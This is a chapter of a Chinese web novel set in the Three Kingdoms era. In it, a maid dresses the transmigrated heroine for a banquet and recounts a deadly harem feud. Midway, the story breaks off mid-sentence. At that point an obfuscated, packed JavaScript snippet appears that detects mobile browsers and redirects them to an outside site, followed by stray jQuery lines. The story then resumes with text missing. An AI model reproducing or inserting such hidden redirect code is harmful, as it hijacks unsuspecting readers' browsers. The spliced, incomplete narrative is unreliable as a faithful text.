“殿下请抬臂。”
夕雾手执青色系带,绕过袁媛不盈一握的柳腰时,马车突发颠簸,她不慌不忙地将人护在怀里,顺势在腰窝处打出一个精致的同心结。
袁媛颦眉打量新换上的裙袍,疑惑道,“这套裙裳的面料似乎很罕见?”
货比货得扔。袁媛虽然对衣料的种类一知半解,但只需将前后两条裙子对比,一眼便能看出品质的参差。
夕雾勾着指尖将点翠环佩挂到袁媛胸前,手始终悬空三寸,既不触碰衣料,又挂得不偏不倚,声音沉沉:“此唤‘三十二道罗’,由生丝经抽、捻、烫、晒、整、提等三十二道工序制作而成,千金不换。”
这本是曹冲准备让三个妹妹带进宫的陪嫁,价格不菲实属正常,袁媛暗暗点头,指着换下来的衣裙问:“这套衣裳哪里不妥当,是颜色不够吉利吗?”
方才袁媛就在猜测,添丁进口是喜事,喜庆的颜色可能更讨主人家的喜欢。但月白也不是不喜庆。虽然名字里有个“白”字,但月白与吊唁用的纯白差异很大。古人认为月亮的颜色白中带着淡淡的蓝,所以三国的月白其实是现代的浅蓝,是女性穿搭中的常用色,绝对不会与丧服颜色弄混。
夕雾给出的理由却出乎袁媛的意料。
“正色为贵,间色为贱。月白为间色,您贵为翁主,您的外甥是高陵亭侯府嫡子,两贵碰作一处,应着贵色彰显翁主对侯夫人产子的重视。”
夕雾将青色外衫披上袁媛肩头,胸前用银丝线暗锈的福禄图若隐若现:“翁主先前的衣裳属广袖曲裾,与奴婢们身上的窄袖袍服区别明显,是大家小姐居家时常穿的款式,可鲜少有人穿出去赴宴的。”除了袖子的差别,婢女的裙子通常较短,袁媛的曲裾更长,适合不事生产的女性,显得更为优雅大方。
“居家服较为轻薄,翁主先前这件袖子用的是羽纱,风一吹,会沿着手臂往上滑,触感是极舒服凉爽的,价钱也不便宜,可毕竟不够庄重。”夕雾用指尖挑起桂花头油,顺着袁媛的发丝自上而下梳拢,“出席宴会的礼服多用厚重面料,绫罗绸缎皆可,绣金银线暗纹点缀更宜,大气端庄。”
夕雾巧手翻飞,细致盘起繁花髻,将通体碧绿的翡翠步摇斜斜插入发间。
米粒大的流苏坠在袁媛耳畔,令她不由自主晃了晃脑袋。
袁媛算是听明白了。
从颜色到款式再到材质,她之前选的裙子,就没有一个方面是适合穿去参加高陵亭侯府宴会的。
“是我欠考虑了。”袁媛没什么不好承认的,只觉古代礼制里的弯弯绕实在麻烦,“多谢你提点。”
“奴婢不敢。”夕雾跪在车厢里,细致地帮袁媛将裙摆展平。
盯着裙片上随着马车晃动的珍珠流苏迟疑片刻,她垂下眼帘,低声开口:“高陵亭侯与先夫人是亲上做亲,娶的是侯府老夫人的娘家侄女。先夫人病故后,老夫人担忧新妇进门会令嫡孙受委屈,本欲聘先夫人亲妹为继夫人。谁知侯爷与袁太尉先定下了亲事,殿下的姐姐捷足先登,令老夫人的谋划落空。”
袁媛有些意外。
她与夕雾曾经在邺城共事过很长一段时间,但除了工作上的交集,私底下说的话两只手都数得过来,典型的泛泛之交。眼下她毫无预兆地甩出这样一大篇话,实在是出乎袁媛的预料。
夕雾双手捧起绣鞋,将鞋尖向着袁媛足下前推半寸,嘴下不停:“老夫人并未因此死心。先夫人的妹妹李氏未能成为正妻,却赶在翁主的姐姐完礼前先抬进了府,成了侯府的贵妾。可想而知,当时侯爷的后宅,并不太平。”
李氏的名分是妾,天然矮了袁娥一头,但袁娥若想随意拿捏她,纯粹是痴人说梦。古人重视孝道,仅仅一个晨昏定省的规矩就能将媳妇折磨得死去活来。李氏上有老夫人撑腰,下有侯府嫡子亲近,在侯府后宅的开局,并不比袁娥差多少。
夕雾眼观鼻,鼻观心:“袁夫人成婚六年,今岁才诞下长子,但这并非她的首胎。当年,她新婚不足半年便传出喜讯,老夫人顺势以养胎为由,命李氏接手了她的管家之权。袁夫人气急攻心,中间恐怕也有些不为外人所知的变故,总之最后袁夫人下红不止,挣扎了两日,落下一个成型的死胎。”
“啊!”袁媛忍不住惊呼。
短短几句话,背后隐藏着多少阴谋算计、爱恨情仇!
这不是电视剧里的情节,而是实实在在发生过的宅斗。
夕雾仿佛已经见怪不怪,声线依旧平稳:“落了胎,自然是该休养的。老夫人体恤儿媳,不想令儿媳辛苦,管家权便一直由李氏暂代着。李氏也是个知恩图报的人,赌咒发誓说会将先夫人的嫡子视如己出,为此不惜喝避子汤以表决心。”
袁媛恍然:“李氏避孕,除了向老夫人表忠心以外,应该也有怕受孕后管家权会重新回到我姐姐手里的因素吧?”这与现代一些职场女性担心孕产导致职位被顶,干脆不生或者购买人造子宫生产异曲同工。
没想到古代全职的家庭妇女也会有同样的苦恼。
“正是如此。”夕雾轻轻点头,“但袁夫人并不是个只会坐以待毙的人。李氏野心勃勃,袁夫人表面退让,暗地里却细心筹划。变数发生在两年前的一次赏月宴,当时恰逢老夫人生辰,李氏为讨老夫人欢心,也想显一显她当家理事的能耐,花大价钱在府中临水处设下‘碧水映月’的观景台,邀请了百余位夫人小姐共赏。”
这是,要出什么幺蛾子了吧?
袁媛屏住呼吸,安静等听下文。
夕雾娓娓道来:“当日,所有宾客都坐在观景台上,还未等到月亮移到头顶、倒影在碧水池中的美景,先看到池中浮起一具女尸,赫然便是给他们下帖子、盛邀大家来赏月的李氏。可能为了应当日的景,池子中的李氏身上便穿了一条月白色襦裙。不知是谁轻笑一声,说了一句令所有宾客毛骨悚然的话——碧水中的月白裙,怎不是另一种意义上的‘碧水映月’呢?自此,月白色便变成了高陵亭侯的禁忌。”
这……
袁媛倒吸一口凉气。
幸好她换了裙子,否则可真是在一无所知的情况下拉满
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516494|167154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了仇恨。
可是,李氏会是袁娥杀的吗?
夕雾续道:“老夫人一口咬定袁夫人是杀人凶手,但高陵亭侯姬妾众多,除了袁夫人,其他十数位夫人也与李氏有过节。且李氏为人骄横,治家狠厉,不少仆从也对她恨之入骨。总之,老夫人拿不出证据,此事最终被定性为意外,管家权重新回到袁夫人手里。她与老夫人的关系愈加恶劣,几乎到了水火不容的地步。”
袁媛汗毛直立。
显而易见,原身的这个姐姐是个胆大心细的狠人,谋略、手段、狠辣一样不缺,还没见面就震住了只在电视剧里见过后宅阴司的袁媛。
古代能从宅斗中脱颖而出的贵妇,果然不可能是省油的灯!
她不会看出来她妹妹的芯子换了人吧?
袁媛开始真真切切的心慌了。
心慌也没用。
马车在高陵亭侯府门口停定,夕雾早早掀起了帘子,先行下车摆好黑木脚踏,伸手扶袁媛下车。
“翁主殿下金安!”一个四十左右的中年武将未着甲胄,却自带金戈铁马的气度,像一把玄铁重戈杵在高陵亭侯府的牌匾下,结实的手臂抱拳而握,“内子挂念多时,请翁主移步内院。”
袁媛福身还礼,曹冲扶着环夫人走上前来,目光落在门内的一方照壁上:“十二叔这宅子,越发的气派了。瞧这壁墙上的九虎群乐图,用的怕不是荆山石吧?”
“贤侄好眼力!”曹纯朗声大笑,震得檐角扑棱飞起三只雨燕,“正是长坂坡之战的战利品荆山石。工匠雕了近一年才完工,刚搬来就被贤侄看了个正着!”
环夫人跟着凑趣:“侯爷当真威武!妾身听说,长坂坡之战时,侯爷的虎豹骑以三千精锐之师,断刘备十万流民辎重,擒获其女眷,打散其士气,英勇无双。方才出发前,翁主还同妾身赞叹,侯爷真乃当世罕见之良将也!”
“唔。”袁媛突然被点,只觉得古代贵妇真是翻脸比翻书还快。上马车前,环夫人分明还是一副恨不得杀她为快的嘴脸,下了马车突然就亲亲热热地跟她演起了聊斋,随意切换面皮的功力令人叹为观止。
吐槽归吐槽,曹纯、曹冲当前,袁媛还真不能不接环夫人递来的橄榄枝。
她顺着环夫人的话吹捧:“侯爷统帅虎豹之师,治军严而不苛,敌人闻之胆寒,战功赫赫,令人敬佩!”
“可不是吗?”环夫人将手拢进袁媛的臂膀里,并肩而行时两人裙袍交叠,营造出一副亲昵无间的模样,“我们虽久居深闺内院,亦知虎豹骑旌旗所至,贼寇皆遁。侯爷彪威,举世闻名。”
“夫人谬赞!”曹纯中气十足的笑声抖落头顶金桂,落在几位宾客的发间,“我不过一介武夫,倒是府中夫人从娘家带来的桂花酿方子一绝,值得细品,里边请!”
月门近在眼前。
曹纯带着曹冲往前院去,一位珠光宝气的贵妇扶着婢女的手臂,眼眸中盈满笑意地迎了上来。细看眉眼,与袁媛有五分相似。
袁媛心中有数。这应该就是原身的三姐袁娥了。